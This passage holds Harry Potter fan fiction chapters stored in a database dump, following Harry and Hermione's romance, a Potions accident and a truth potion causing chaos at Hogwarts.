&quot;I&#8230;I don&#8217;t lie to you, Hermione.&quot;</p>\n\n<p>Hermione scoffed. &quot;What about when Ron and Lavender first got together? You told me that they hadn&#8217;t. You tried to protect me from my &#8216;feelings&#8217; for Ron. Or did you just try and protect him?&quot;</p>\n\n<p>	&quot;Don&#8217;t bring us into this-&quot; Harry tried, standing up again only to have Hermione turn away from him. </p>\n\n<p>	&quot;It needs to be said,&quot; She felt tears. Suddenly, she felt very emotional&#8230;like she could cry at anything. &quot;Fifth year, when you found out Voldemort was coming after you yet again, you said that there was no threat of Voldemort. You tried to protect me then but you needed me Harry. You needed me then like I need you now.</p>\n\n<p>	&quot;I need you to promise me this. I don&#8217;t know why I need you too, but it just feels like you have too, you have to do it. I don&#8217;t care about all the things Draco&#8217;s done or might have done or could possibly be linked back to his father for doing. I care about Ginny and how Ginny feels and if Ginny&#8217;s in love with him then no one on this planet is going to stop them from being together. I&#8217;ve waited too long to tell you how I feel, and she did the same. </p>\n\n<p>	&quot;And I&#8217;d die if something tore <i>us</i> apart.&quot;</p>\n\n<p>Harry placed his arm around her waist and huddled her back into his chest. He could hear it in her voice, the tears cascading down her cheeks. Hermione wasn&#8217;t one to cry a lot. </p>\n\n<p>	&quot;I&#8217;m sorry,&quot; he whispered in her ear. &quot;I&#8217;m so sorry. Don&#8217;t cry, please don&#8217;t cry.&quot;</p>\n\n<p>He kissed her head. &quot;You&#8217;re right, as always, you&#8217;re right. I&#8217;d die if you were taken from me. Ginny probably feels the same. I&#8217;m sorry.&quot;<br>\n\n</p>\n\n<p>Hermione relaxed in his embrace and turned in his arms to rest her head on his chest, listening to soft lull of his heartbeat. </p>\n\n<p>	&quot;I promise I won&#8217;t tell Ron,&quot; Harry smiled, resting his cheek on her head. &quot;It&#8217;ll all blow over eventually. Ron will either forget, or get hit with a Bludger&#8230;&quot;<br>\n\n</p>\n\n<p>Hermione laughed. &quot;I wasn&#8217;t exactly hoping for amnesia but it would help.&quot;</p>\n\n<p>	&quot;Nothing&#8217;s ever as bad as it seems. Ron will have to come to terms with it. Malfoy could have changed, I don&#8217;t know, only Ginny does, but&#8230;you&#8217;re right. It&#8217;s her decision not mine.&quot;</p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>\n\n</p>\n\n<p>&nbsp;</p>\n\n '),
	(175, 8, ' <b><u><p>It Starts&#8230;</p>\n\n<p></p>\n\n</u></b><p></p>\n\n<p>There are several times in a young man&#8217;s life where he just needs to say three important words; three words that could make or break his relationship. Those three words could be interpreted as a submission, surrender, or a strong stand against his lover. These three words could mean the world and these three words are the ones they long to hear. </p>\n\n<p>	&quot;You&#8217;re right, dear.&quot;</p>\n\n<p>Three simple words in the English language; three syllables, three words. </p>\n\n<p>And yet Ron couldn&#8217;t say them for the life of him. </p>\n\n<p>Harry had tried, Merlin knows Harry had tried to get Ron to say those three simple words to Lavender. In response to their argument a week ago, Lavender and Ginny had been ignoring Ron. Everything he&#8217;d said, they&#8217;d ignored. </p>\n\n<p>	&quot;Just say sorry,&quot; Harry pleaded with his friend. </p>\n\n<p>Ron simply ignored Harry&#8217;s efforts, folded his arms defiantly and scowled menacingly at his younger sibling. &quot;I am NOT apologising.&quot;</p>\n\n<p>Ginny, Hermione and Lavender sat together at the end of the Gryffindor table during meal times. It was rare that Ginny or Lavender sat closer than four seats to Ron. Hermione liked to sit with Harry after her Arithmancy lessons, just to let of some steam and calm down. </p>\n\n<p>Meal times weren&#8217;t exactly filled to the brim with pleasant conversations either and it was common for Harry to be the messenger between Lavender and Ron with Hermione coinciding as the Mediator. </p>\n\n<p>	&quot;Please tell Ron that I&#8217;d like my Split Feather Quill back, please Harry,&quot; Lavender said happily and smiling. </p>\n\n<p>Harry sighed loudly and turned to Ron. &quot;Ron, will you please give Lavender back her Split Feather Quill?&quot;</p>\n\n<p>Ron snorted and brought the quill from his bag, throwing it carelessly into Harry&#8217;s hands. &quot;Here.&quot; </p>\n\n<p>Lavender took the quill still with a smile and placed it neatly in her tin quill case, while muttering &quot;Stubborn bastard.&quot;</p>\n\n<p></p>\n\n<b><p>@@@@@@@@@</p>\n\n</b>\n\n<p>Later that evening, Hermione and Harry were quietly talking together in the Prefect&#8217;s common room. It had been quite a hectic week and it was really the only time that they&#8217;d been able to talk to each other without the confines of other people. </p>\n\n<p>	&quot;Hermione,&quot; Harry started turning to his girlfriend. </p>\n\n<p>	&quot;Hmm?&quot; Hermione asked, looking up from her Potions book balanced in her lap. </p>\n\n<p>	&quot;I, err&#8230;&quot; Harry tried, stumbling on his words. He took a deep breath and dove straight in. &quot;I&#8217;ve decided to resign as Head Boy.&quot;</p>\n\n<p>	&quot;Why?&quot; Hermione asked sounding as calm as usual. &quot;Is it getting to much to deal with, with practice and school work? Not to mention the whole Voldemort thing&#8230;&quot;</p>\n\n<p>Harry looked at Hermione for a moment. &quot;Is something wrong?&quot;<br>\n\n</p>\n\n<p>	&quot;No,&quot; she replied. &quot;Why would anything be wrong? Nothing&#8217;s wrong, nothing what so ever.&quot;<br>\n\n</p>\n\n<p>	&quot;What&#8217;s wrong?&quot; He asked, taking her hand in his. &quot;You&#8217;re babbling more than a brook. Tell me what&#8217;s up.&quot;</p>\n\n<p>Hermione sighed and closed her book. &quot;I&#8217;m worried, Harry.&quot;<br>\n\n</p>\n\n<p>Being the gentleman he was, Harry quickly put his arm around her shoulders and huddled closer to her, cuddling her. &quot;Tell me.&quot;<br>\n\n</p>\n\n<p>	&quot;I think we&#8217;re taking things a little too fast,&quot; she breathed out, in seemingly one breath. &quot;We jumped straight into a hugging and kissing relationship and I know we&#8217;re both verging on adulthood but&#8230;I&#8230;I just don&#8217;t know, Harry.&quot;</p>\n\n<p>Harry tried to get his breath a little before speaking. &quot;Are you saying you want to break up?&quot;<br>\n\n</p>\n\n<p>Hermione jumped a little but turned to look him in the eye. &quot;No. Not for one minute have I regretted any part of it, but I think we should slow down. Just in case.&quot;</p>\n\n<p>	&quot;I know,&quot; Harry smiled lovingly, and kissed his girlfriend soundly on the lips. &quot;I&#8217;ve been thinking the same thing really.&quot;</p>\n\n<p>Hermione grinned at him and hugged him a little closer, putting her feet up next to her boyfriend&#8217;s on the coffee table. &quot;So, what&#8217;s this about wanting to resign?&quot;</p>\n\n<p>Harry sighed. &quot;I just don&#8217;t want the responsibility.&quot;<br>\n\n</p>\n\n<p>	&quot;Think of what it will say on your job applications, Harry,&quot; Hermione replied, sounding like her old self. &quot;Not to mention University. If you have Head Boy of Hogwarts, they&#8217;ll take you instantly. Not just because of that mind you, your NEWTS count as well.&quot;</p>\n\n<p>Squeezing Hermione&#8217;s hand, Harry smiled and said. &quot;I just don&#8217;t thing I&#8217;ll be able to juggle Quidditch, studying, and school work with Head Boy duties. I&#8217;d rather be studying than wandering the halls at night.&quot;<br>\n\n</p>\n\n<p>Hermione sighed loudly, a resounding sigh that said that she didn&#8217;t approve at all. &quot;I see you&#8217;ve thought about it quite a lot, but I can&#8217;t stop you. I&#8217;m disappointed, but I guess you know what&#8217;s best for you.&quot;</p>\n\n<p>	&quot;And we have to plan a New Year&#8217;s Day party,&quot; Harry grinned.</p>\n\n<p></p>\n\n<b><p>@@@@@@@@@</p>\n\n</b>\n\n<p>Unfortunately, things began to take a turn for the worse, just before the Christmas holidays.</p>\n\n<p>It all started in Potions. That one fatal Potions lesson, two hours on a Friday afternoon. As usual, I&#8217;d been paired with Hermione whilst Ron was finding it extremely annoying that he got Neville yet again. </p>\n\n<p>Anyway, there we were, sitting in our usual seats watching Professor Snape walk into the classroom and up to the blackboard. He pulled out his pointing stick again and pointed at a complicated recipe on the board. </p>\n\n<p>I could already hear Ron groan behind me. It was a recipe for disaster since he was working with Neville. </p>\n\n<p>	&quot;You think we can do that?&quot; Hermione whispered to me, leaning across breathing in my ear and across my neck, sending tiny tingles down my spine.</p>\n\n<p>I grinned at my own reaction. It wasn&#8217;t uncommon for something so simple as breathing from Hermione to become something so&#8230;electrifying. Ever since we&#8217;d finally become a couple, everything has seemed to be going so fast. Kissing was natural, like breathing now but I still felt like we were rushing into the relationship. Thinking that I should reply, I opened my mouth to speak. </p>\n\n<p>	&quot;I think so,&quot; I whispered back and was, unsurprisingly, immediately caught by Snape. </p>\n\n<p>	&quot;Potter,&quot; He growled menacingly. I heard Neville gulp behind me. &quot;I find it quite amusing how you always seem to pair yourself with our Head Girl, Miss Granger, and get passable marks. Would it be the same if we placed you with Longbottom?&quot;</p>\n\n<p>I gulped down, hard. Hermione pressed down on my foot underneath the table. &quot;I suppose it would, Sir.&quot;</p>\n\n<p>He scoffed. &quot;Suppose? You better more than &#8216;suppose&#8217; Potter. Longbottom! Weasley! Switch partners.&quot;</p>\n\n<p>Ron collected his things together, as did I. Just as I was standing up, Hermione grabbed my arm lightly and gave me a look that pleaded &#8216;Don&#8217;t leave me!&#8217;</p>\n\n<p>	&quot;We haven&#8217;t got all day, Potter!&quot; Snape screeched from his blackboard. </p>\n\n<p>When Ron and I were seated with our new partners, Neville turned to me and gave me a grin the size of the Tame Valley. &quot;I finally asked out Padme last night.&quot;</p>\n\n<p>I could feel my own grin plastering itself on my face. After watching Neville&#8217;s countless efforts to try and impress the twin, it was finally paying off. &quot;Congrats, Nev.&quot;</p>\n\n<p>Neville shrugged still grinning. &quot;It was nothing. Animal magnetism.&quot;</p>\n\n<p>	&quot;Today, class,&quot; Snape began pointing his stick at the blackboard. &quot;We are going to concoct a Truth Potion.&quot;</p>\n\n<p>As soon as he spoke, Malfoy&#8217;s hand shot up in the air. </p>\n\n<p>	&quot;Yes, Malfoy?&quot; Snape sounded eager to hear from his &#8216;star&#8217; pupil. </p>\n\n<p>Malfoy was almost glowing with happiness. Ever since he got the Head Boy Head Boy badge, he&#8217;d been gloating up and down the hallways. Hermione was, in her own words, &#8216;very displeased with the faculty&#8217;s choice of a second Head Boy&#8217;. Which meant that she was extremely pissed off. </p>\n\n<p>I&#8217;d accompanied Hermione to her office on the first floor Prefects corridor when I was walking into my Prefects office. No sooner had she walked through the door; Malfoy made a crack about the real meaning of &#8216;<i>Head</i> Girl&#8217; and &#8216;<i>Head</i> Boy&#8217;. She stalked positively seething into my office and refused to move until that &#8216;insignificant waste of space&#8217; had moved at least five inches away from the door. </p>\n\n<p>	&quot;Sir, we&#8217;ve already covered Truth potions last year if I remember correctly,&quot; Malfoy answered starring at Hermione in a challenge. </p>\n\n<p>She scowled back, the Hermione scowl she uses when she&#8217;s either jealous or feeling sarcastic. </p>\n\n<p>	&quot;Very good, Malfoy,&quot; Snape beamed. &quot;10 points to Slytherin.&quot;</p>\n\n<p>The Slytherin side cackled in approval of Malfoy&#8217;s statement, the Gryffindors sighed. They&#8217;d already lost 60 points in Potions and it was what, three months back? It was about 60 more points than they actually had. </p>\n\n<p>Total score for Gryffindor = -60. </p>\n\n<p>	&quot;We are, in fact,&quot; Snape continued in a low volume. &quot;Going to study the most effective Truth potion just below Veritaserum: Veracity. Does anybody know the effects of the Veracity potion?&quot;</p>\n\n<p>As usual, Hermione&#8217;s hand shot straight up in the air. Even though I was behind them, I swear I could hear Ron roll his eyes. </p>\n\n<p>Snape looked around the classroom, only Hermione had her hand up to answer the stupid question. His glare locked on Hermione and he asked through gritted teeth, &quot;Yes, Miss Granger?&quot;</p>\n\n<p>Hermione cleared her throat and began a detailed explanation. &quot;The Veracity Potion, meaning Truth Potion, inhibits the consumer for seven days compulsive honesty. In short, the consumer wouldn&#8217;t be able to lie for seven days or keep any thoughts to themselves, even during sleep.&quot;</p>\n\n<p>Snape gritted his teeth again as he spoke, &quot;Very good, Miss Granger.&quot;</p>\n\n<p>A smile erupted on my face, a smirk at Snape. Go Hermione! But then I realised that Snape is never nice. </p>\n\n<p>&quot;Although, you neglected to mention that the potion has no antidote,&quot; Snape continued, wiping the smirk from my face and replacing it with disappointment. &quot;&#8230;But unlike Veritaserum, the consumer need not be questioned to reveal their hidden truths. 10 points from Gryffindor for negligence of important information.&quot;</p>\n\n<p>Again, Gryffindor sighed. Total number of points = -70. Suddenly, I was so glad that we were playing Quidditch next weekend against Ravenclaw. </p>\n\n<p>	&quot;We will be concocting this potion today,&quot; Snape stated looking around at his class. &quot;You will not be allowed to drink the potion as its effects can be disastrous.&quot;</p>\n\n<p>Why did his eyes just flicker towards me?</p>\n\n<p>	&quot;Follow the instructions on the board,&quot; he continued. &quot;Follow them &#8216;carefully&#8217;. I cannot stress &#8216;carefully&#8217; enough.&quot;<br>\n\n</p>\n\n<p>His gaze rested upon Neville and I heard Neville gulp in fear. </p>\n\n<p>I chopped up the ingredients and Neville added them to the Potion, using the exact measurements from the board. I looked forward at Hermione and Ron working over their cauldron. They weren&#8217;t conversing at all, they were just working but ever since their argument, it wasn&#8217;t uncommon for them to work together without talking. </p>\n\n<p>Sometimes it was the only way they could work. </p>\n\n<p>	&quot;Potter?&quot; Snape&#8217;s malicious voice broke me from my thoughts. &quot;Are you going to stare at the back of Miss Granger&#8217;s head all lesson or are you going to work?&quot;</p>\n\n<p>I hadn&#8217;t realised I was staring, I was staring into space at nothing in particular. &quot;Sorry, Sir.&quot;</p>\n\n<p>	&quot;How many ingredients now, Neville?&quot; I asked, looking over at the bubbling potion. </p>\n\n<p>He looked up at me with a look of worry on his face. &quot;I thought you were keeping count.&quot;</p>\n\n<p>I slapped my hand to my forehead but heard the cauldron making a weird twisting sound. It sounded like the metal itself was twisting. </p>\n\n<p>	&quot;Oh Merlin!&quot; I shouted before leaping forward, knocking Neville out of the way just as the hook on the cauldron melted, pouring the bubbling potion onto the floor and onto my outstretched arm. </p>\n\n<p>The pain was indescribable. The potion was literally eating away at my arm, melting skin. I bit my lip to stop myself from screaming aloud and felt blood gush into my mouth. </p>\n\n<p>	&quot;Harry!&quot; Hermione shouted, rushing over along with Professor Snape. </p>\n\n<p>Ron and Neville picked up the scolding cauldron and replaced it back on its little iron feet. Hermione was staring at my arm in blatant shock as she knelt beside me, holding my other arm as support. </p>\n\n<p>	&quot;Out of the way!&quot; Snape shouted over the crowd of students gathered around me. He knelt down as well, pouring a flask of another potion onto my arm. The pain subsided and the melting stopped. &quot;Get him up to the Infirmary.&quot;</p>\n\n<p>Hermione and Ron stood up with me and we started to walk out but Snape called us back. &quot;Just one of you.&quot;</p>\n\n<p>There was a brief exchange of looks between Hermione and Ron, ending with Ron opening the door for us as we walked out of the classroom. Hermione and I walked up to the Infirmary, Hermione telling me constantly that I should be more careful with complicated potions and I was hardly being responsible. </p>\n\n<p>As hard as she was trying, I knew she was worried bone deep. She clutched onto my healthy arm, nails digging into it every time my melted arm stung. She was shaking even as we walked through the Infirmary doors. </p>\n\n<p>	&quot;Oh, Mr Potter!&quot; Madame Pomfrey scolded flitting around for a Flesh-Grow potion on the nearby shelves. &quot;I can&#8217;t go a week without seeing you in here.&quot;</p>\n\n<p>Pomfrey led me to one of the Infirmary beds and sat me propped against the headboard, leaning my melted arm on the bedside table. Hermione sat down next to me and gripped my hand as Pomfrey poured the Flesh-Grow potion onto the melted skin. </p>\n\n<p>	&quot;Bloody&#8230;&quot; I shouted as the potion began to take effect. I could feel the flesh crawling back onto my arm, covering the gaping hole and it hurt like hell. I tried my best not to squeeze Hermione&#8217;s hand in the pain but I was finding it extremely difficult. &quot;Oh Merlin.&quot;<br>\n\n</p>\n\n<p>	&quot;It&#8217;s alright,&quot; Hermione assured me, giving my hand a gentle squeeze. &quot;Your arm will be fine in a minute. Look! It&#8217;s gaining its milk-bottle colour again!&quot;</p>\n\n<p>I laughed as best I could between he wincing in agony. &quot;Thanks for the&#8230;vote of confidence&#8230;&#8217;Mione.&quot;</p>\n\n<p>She grinned happily but still looked worried and slightly nauseated as she watched the flesh re-grow itself. &quot;You&#8217;re welcome.&quot;<br>\n\n</p>\n\n<p>After a few more moments of scorching pain, my arm looked as good as new. Madame Pomfrey wrapped it up in a light bandage before shooing us out of the Infirmary, giving me a warning not to have any tattoos on said arm for at least a fortnight.</p>\n\n<p>Hermione and I walked down the stairs casually glancing at one another as we always did. I caught her looking at me and grinned back at her rather stupidly, to which she laughed and slapped my arm playfully before reaching up and kissing my cheek lovingly. .</p>\n\n<p>	&quot;How&#8217;s everything with Ron now?&quot; I asked carefully as we swerved into the ground floor corridor and down into the dungeons. </p>\n\n<p>Hermione shrugged back but seemed rather affected by this question. &quot;We&#8217;re fine now. A bit awkward around each other but that&#8217;s because of other reasons.&quot;<br>\n\n</p>\n\n<p>	&quot;Like what?&quot; I continued as we reached the Potions room. </p>\n\n<p>	&quot;Nothing, it&#8217;s not important,&quot; she replied pushing the door open and walking to her seat. </p>\n\n<p>Potions carried on until the end without much interruption from anyone. After re-hooking Neville&#8217;s cauldron, Neville and I managed to concoct a sound Veracity potion much to the dislike of Snape, who had found several other reasons during the lesson to remove points form Gryffindor.</p>\n\n<p>Once the lesson had ended, everyone flooded out of the classroom except Neville and me. We stayed behind to clean up the spilt potion. </p>\n\n<p>I walked out with Neville, feeling slightly relieved that the double lesson was over and that it was Friday, dinner would be in ten minutes. I hurriedly walked with Neville to the Great Hall to find Ron and Hermione already sat down at our table with Lavender, Ginny, Dean and Seamus. </p>\n\n<p>	&quot;Hey Harry!&quot; Seamus said in his thick Irish accent. &quot;Let&#8217;s see it! Let&#8217;s look at your arm!&quot;</p>\n\n<p>I pulled my robe sleeve up revealing my arm good as new. Dean, Ron and Seamus sighed in disappointment. </p>\n\n<p>	&quot;You make a mess like that and there&#8217;s not even a scar to prove it,&quot; Ron groaned. </p>\n\n<p>Hermione rolled her eyes as I sat down next to her in my usual seat. &quot;You&#8217;d think his arm would be glowing green or something by the way you talked about it.&quot;<br>\n\n</p>\n\n<p>Ron stuck his tongue out at Hermione. </p>\n\n<p>Soon, everybody was inside the Great Hall and eating dinner. I looked over at Dean and Seamus who seemed to be grinning maniacally. </p>\n\n<p>	&quot;What&#8217;s got you two grinning?&quot; Lavender beat me too it as she took a spoonful of her soup. </p>\n\n<p>They looked at each other and grinned again. Dean opened up his robe and brought out a small needle. We all looked at him with raised eyebrows. He placed the needle on the table and pointed his wand at it whispering, &quot;Finite Incantatem.&quot;</p>\n\n<p>Suddenly, the needle transfigured into a vial of green flowing liquid. Hermione dropped her spoon into her soup and covered her mouth with her hand. </p>\n\n<p>	&quot;You didn&#8217;t?&quot; She asked looking completely shocked. </p>\n\n<p>Dean nodded and transfigured the vial back into a needle, tucking it safely back into his robe pocket. &quot;We heard Malfoy plotting on Wednesday. Snape gives the Slytherins pre-lesson plans, tells them what he&#8217;s going to teach during the lesson.&quot;<br>\n\n</p>\n\n<p>Seamus took a swig of Pumpkin juice then continued. &quot;Anyway, we heard him talkin&#8217; about makin&#8217; the Veracity Potion and putting it in the school food, leaving it out of the Slytherin table&#8217;s food lot.&quot;</p>\n\n<p>Dean nodded. &quot;So we decided to do a bit of preliminary research on this potion. We couldn&#8217;t prevent Malfoy from putting it in our food but&#8230;&quot;<br>\n\n</p>\n\n<p>	&quot;We did manage to slip some in his,&quot; Seamus concluded, both with huge smiles plastered across their faces. </p>\n\n<p>Unfortunately, the rest of us looked pretty ill. </p>\n\n<p>	&quot;So, we&#8217;re all subjected to a whole week of truth telling?&quot; Ron gulped hard, his eyes flitting almost unnoticeably to Lavender. </p>\n\n<p>Dean and Seamus nodded ruefully. &quot;But so is Malfoy and the Slytherins. You gotta give us points for that.&quot;<br>\n\n</p>\n\n<p>	&quot;Well, it&#8217;s better than it just being us,&quot; Lavender grimaced looking back down at her soup and prodding it a bit with her spoon.</p>\n\n<p>	&quot;Oh Merlin,&quot; Ron groaned and buried his face in his hands. &quot;Do you know how many secrets I have?&quot;</p>\n\n<p>	&quot;We all have secrets, Ron,&quot; Hermione replied as she always does, but she seemed as perplexed as Ron did. &quot;There&#8217;s another thing to it as well.&quot;</p>\n\n<p>	&quot;What&#8217;s that?&quot; I asked and suddenly regretted it as she answered. </p>\n\n<p>	&quot;I read the textbook while in Potions,&quot; she answered looking more worried by the second. &quot;Turns out, an affected person can pass it on just by sitting next to a none affected person. It&#8217;s sort of like a curse. </p>\n\n<p>	&quot;They used to use it in old Prisoner of War camps to get information from the prisoners. They didn&#8217;t need to worry about the transmitting effects because the more it worked on, the more effective it was in small doses.&quot;</p>\n\n<p>Ginny moaned this time and hugged her bag to her chest. &quot;So no matter who ate food today, everybody&#8217;s going to catch it?&quot; </p>\n\n<p>Hermione nodded regretfully. &quot;Looks that way.&quot;</p>\n\n<p>I guess I was the only one to notice Malfoy smirking at us from his table. The next thing, he was being slapped by Pansy who stalked out of the Great Hall. Immediately, the rose-faced Slytherin found my face among the Gryffindors and scowled, like he knew what Dean and Seamus had done. </p>\n\n<p>	&quot;There&#8217;s only one way to tell if the potion has taken affect,&quot; Seamus grimaced and turned to Dean. &quot;We&#8217;ve gotta ask someone something.&quot;<br>\n\n</p>\n\n<p>My first thought, as most would be right now, was &#8216;Please don&#8217;t ask me&#8217;. </p>\n\n<p>	&quot;Ron?&quot; Dean asked and everyone&#8217;s eyes turned to Ron. </p>\n\n<p>Ron shook his head. &quot;Ask somebody else.&quot;<br>\n\n</p>\n\n<p>Seamus turned his attention to me. &quot;Harry?&quot;</p>\n\n<p>I sighed reluctantly, but answered, &quot;Go ahead.&quot;<br>\n\n</p>\n\n<p>It looked like Seamus and Dean didn&#8217;t want to ask me, genuinely. They looked like they felt bad about it. </p>\n\n<p>	&quot;Ask me,&quot; I replied. </p>\n\n<p>Dean sighed this time. &quot;We&#8217;ll ask you Ron&#8217;s question then.&quot;<br>\n\n</p>\n\n<p>	&quot;How many Play Wizards have you read in your lifetime?&quot; Seamus asked plunging in, not taking a breath until the end. </p>\n\n<p>I tried to lie, I tried to move my mouth in the form of a lie but nothing would come out. &quot;One.&quot;<br>\n\n</p>\n\n<p>	&quot;Was that it?&quot; Ron asked, shocked at how straightforward my answer had been. </p>\n\n<p>	&quot;How many Play Wizards have you read Ron?&quot; Dean asked quickly so Ron couldn&#8217;t interrupt. </p>\n\n<p>	&quot;Nineteen,&quot; Ron replied just as I did. It was something that he would usually lie about. Not just usually, he wouldn&#8217;t admit that on his deathbed.</p>\n\n<p>Hermione looked shocked, Lavender&#8217;s eyes widened and Ginny remained the same. </p>\n\n<p>	&quot;Nineteen?&quot; Hermione and Lavender asked in unison. </p>\n\n<p>	&quot;Fred kept them under his mattress,&quot; Ron continued and slammed his hand over his mouth. &quot;Mmmphommhendfmgppphmhlp&#8230;&quot;</p>\n\n<p>Somehow I&#8217;m sure that he said, &quot;Including the back issues from the 1970&#8217;s.&quot;</p>\n\n<p>Hermione and Lavender still looked shocked. Everyone else was expecting as much from Ron, not that he had nothing better to do, but he kept some of Fred&#8217;s under <i>his</i> mattress.</p>\n\n<p>Dean hit the table with his fist and looked pleased with himself. &quot;Sorry about that Ron but you did ask for it. Well, it&#8217;s safe to presume that the Potion has taken affect.&quot;</p>\n\n<p>Ron pointed a finger at everyone sat around us. &quot;Nobody better ask me anything personal or you&#8217;ve had it! I&#8217;ll hex you faster than I would Malfoy.&quot;<br>\n\n</p>\n\n<p>	&quot;You only have to think something personal,&quot; Seamus replied. &quot;Your thoughts, stuff you say to yourself in your head are spoken aloud. Just think how fun Divination&#8217;s going to be.&quot;<br>\n\n</p>\n\n<p>	&quot;I&#8217;m just glad I&#8217;m a year younger,&quot; Ginny smiled standing up. &quot;I don&#8217;t have lessons with you.&quot;<br>\n\n</p>\n\n<p>Dean laughed. &quot;You&#8217;ll be missing all the fun, little Gin.&quot;<br>\n\n</p>\n\n<p>Ginny shrugged. &quot;Maybe, but then again&#8230;&quot;</p>\n\n<p>She looked around at all of us with a bemused look on her face and her eyes seem to gain an extra twinkle when they landed on Hermione and me.</p>\n\n<p>	&quot;See you later,&quot; she called as she left the Great Hall.</p>\n\n<p>Several slaps could be heard all over the Hall, one in particular had a right ring to it. It was from Padme to Terry, she gave his cheek a right crack and stormed out, Terry on her heels. </p>\n\n<p>	&quot;Do you think I should have a talk with Malfoy?&quot; Hermione asked me as yet another slap was heard. </p>\n\n<p>I shook my head. &quot;And get him to make you admit something personal? No way.&quot;</p>\n\n<p>Hermione raised an eyebrow at me. &quot;What makes you think I&#8217;ve got anything personal to admit to?&quot;<br>\n\n</p>\n\n<p>	&quot;Everyone has their secrets,&quot; I replied, quoting her from her conversation with Dean and Seamus. &quot;I just don&#8217;t want you to get put on the spot, that&#8217;s all.&quot;<br>\n\n</p>\n\n<p>	&quot;Have you got something personal to admit?&quot; She asked me with a challenging look in her eyes. </p>\n\n<p>	&quot;Yes,&quot; I confessed. &quot;But I&#8217;m not going to play this game with you. I&#8217;d rather admit them in my own time.&quot;<br>\n\n</p>\n\n<p>She smiled at me with her admirable smile&#8230;the smile that sent tingles shooting through my spine and to my toes. I grinned back and put my hand over hers on the table. </p>\n\n<p>	&quot;I&#8217;d rather tell you them out of want,&quot; I continued. &quot;Instead of being forced to say anything that I shouldn&#8217;t.&quot;<br>\n\n</p>\n\n<p>Hermione nodded at me and gave my hand a squeeze. &quot;Ditto.&quot;</p>\n\n<p></p>\n\n<p></p>\n\n '),
	(175, 9, ' <b><u><p>The Mess</p>\n\n</u></b>\n\n<p></p>\n\n<p>It&#8217;d been all of three hours. In that three hours, everybody had been walking around on their own, including our trio. We just needed some alone space, some privacy to gather our thoughts about this &#8216;curse&#8217;. If what Snape said was true, and there was no cure, we&#8217;d be stuck like this for seven days. Seven days is a week, it&#8217;s 168 hours, it&#8217;s 10080 minutes and it&#8217;s a lot of honest arguments between friends and couples. </p>\n\n<p>Screw up of the century. </p>\n\n<p>Unfortunately, the lone space wasn&#8217;t going to be happening in the evening. Because the weekend was a Hogsmeade weekend, everyone was staying up late to finish any coursework or homework due in the next week. Which meant that all of us were downstairs in the Gryffindor common room revising and flicking through books together. </p>\n\n<p>Ron and I were sat at the smaller desk in the back with Hermione and Lavender, flicking through very large textbooks. Ron managed to write a few sentences down on his parchment before throwing his quill down. </p>\n\n<p>	&quot;I&#8217;m nakard,&quot; he stated, yawning very loudly and stretching his arms out. </p>\n\n<p>I saw Hermione&#8217;s eyebrow raise before she replied, &quot;Not in the literal sense I hope.&quot;</p>\n\n<p>Ron looked utterly confused before Lavender chirped in pleasantly. &quot;It means &#8216;sexually tired out&#8217;, love.&quot;</p>\n\n<p>	&quot;Not half,&quot; Ron replied, yawning again. &quot;I&#8217;m surprised you&#8217;re not Hermione.&quot;<br>\n\n</p>\n\n<p>Hermione shook her head lightly and sighed. &quot;Because me and Harry have been going at it like hormonally imbalanced bunnies? Or because I&#8217;m having an illustrious affair with Justin behind Harry&#8217;s back?&quot;</p>\n\n<p>Ron looked shocked at once, his jaw dropped to floor and his eyes were as wide as saucers. &quot;Did&#8230;what&#8230;did you hear that, Harry?&quot;<br>\n\n</p>\n\n<p>	&quot;Yep,&quot; I replied with a smile, adding to Ron&#8217;s already addled brain. </p>\n\n<p>	&quot;And you&#8217;re okay with that?&quot; he asked again. </p>\n\n<p>I laughed, as did Hermione and Lavender. </p>\n\n<p>	&quot;Don&#8217;t be daft, Ron,&quot; Hermione chided with her quill, stabbing him in the nose with the feather end. &quot;If I were really seeing Justin, I&#8217;d have the decency to end it as soon as possible and then see a doctor about my mental health.&quot;</p>\n\n<p>	&quot;Sorry,&quot; Ron mumbled. &quot;It&#8217;s hard to tell who&#8217;s telling the truth or just being sarcastic.&quot;<br>\n\n</p>\n\n<p>Yawning again, Ron leaned his head down on the table. </p>\n\n<p>&quot;Ron,&quot; Lavender turned to Ron. &quot;Can I have a look at your Divination coursework?&quot;<br>\n\n</p>\n\n<p>	&quot;Why?&quot; Ron asked lifting his head from the table. &quot;You&#8217;re better at it than me.&quot;<br>\n\n</p>\n\n<p>Her eyes widened like mine had before I admitted something&#8230; &quot;Because I want to start a bloody conversation with you that doesn&#8217;t involve sex.&quot; And that, my friends, was a brilliant sarcastic cover-up of the truth by Lavender Brown. </p>\n\n<p>Ron rolled his eyes and took his Divination book from his bag. He opened it and took out a few scrolls of parchment, handing them to Lavender. She read each sheet and made noises of disapproval after each one. Finally she turned back to Ron.</p>\n\n<p>	&quot;Ron! How can you expect to pass with this? This is rubbish!&quot; She exclaimed looking over the scrolls of scribbled out words and tiny drawings of spiders in the corners. </p>\n\n<p>	&quot;Well that&#8217;s a compliment coming from trash,&quot; Ron mumbled aloud, but not quite as quiet as he&#8217;d expected.<br>\n\n</p>\n\n<p>Hermione grabbed onto my arm as Ron spoke and clutched it for dear life. We watched Lavender stand up, fire blazing in her eyes and slap Ron across the cheek with all the strength she had in her. </p>\n\n<p>	&quot;I can&#8217;t believe you, Ron,&quot; she said, sounding as if she was about to cry. </p>\n\n<p>Without another word, she threw the parchments at Ron and stormed up to the girl&#8217;s bedroom. Ron&#8217;s head hit the table again as he groaned. Looking around, there weren&#8217;t many girls actually left in the common room anymore. </p>\n\n<p>There weren&#8217;t many boys either. Come to think of it, Ron and I were the only ones sitting with a girl apart from Dean who was sitting with Parvati&#8230;wait&#8230;nope, she just slapped him and walked out as well. </p>\n\n<p>	&quot;Good grief,&quot; Hermione said as she watched Parvati stalk out of the common room and up the girl&#8217;s stairs. &quot;I feel so unappreciated.&quot;<br>\n\n</p>\n\n<p>She was smiling with amusement when Ron lifted his head and looked at her quizzically. </p>\n\n<p>	&quot;You haven&#8217;t given me an excuse to slap either of you,&quot; she continued with the smile. &quot;I feel slightly unappreciated. Am I that nice and pleasant?&quot;<br>\n\n</p>\n\n<p>Ron grunted, &quot;You wish.&quot; </p>\n\n<p>	&quot;And I&#8217;ve just got nothing bad to say,&quot; I smiled, leaning back in my chair and resting my arm on the back of Hermione&#8217;s protectively. </p>\n\n<p>Although, it was a split second before she regarded me with an unbelieving look. &quot;Okay, either you know a counter-curse to Veracity, or that comment was extremely 